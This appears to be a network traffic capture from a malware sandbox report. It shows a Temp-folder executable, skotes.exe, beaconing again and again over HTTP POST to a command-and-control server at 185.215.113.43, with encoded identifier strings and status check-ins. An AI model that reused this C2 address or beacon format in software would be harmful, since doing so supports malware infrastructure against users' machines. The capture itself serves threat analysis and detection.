Nov 23, 2024 13:31:46.357057095 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:31:47.704423904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50177	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:49.456258059 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:31:50.848149061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50178	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:52.478717089 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:31:53.856905937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50179	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:55.610620022 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:31:56.998265028 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50180	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:31:58.625325918 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:32:00.029175043 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50181	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:01.763725042 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:32:03.189400911 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	50182	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:04.818821907 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:32:06.156466961 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50183	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:07.897510052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:32:09.331083059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50184	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:10.975519896 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:32:12.421428919 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50185	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:14.168293953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:32:15.600915909 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50186	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:17.227653980 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:32:18.616934061 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50187	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:20.360475063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:32:21.711460114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	50188	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:23.342391968 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:32:24.774156094 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	50189	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:26.511492014 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:32:27.938338995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	50190	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:29.570754051 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:32:31.013580084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	50191	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:32.763479948 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:32:34.189414978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	50192	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:35.820163012 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:32:37.192671061 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	50195	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:38.953814983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:32:40.378695011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50196	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:42.014374018 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:32:43.392822981 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50197	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:45.174510002 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:32:46.515127897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50198	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:48.144820929 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:32:49.537947893 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	50199	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:51.279016972 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:32:52.660679102 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	50200	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:54.298587084 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:32:55.667005062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
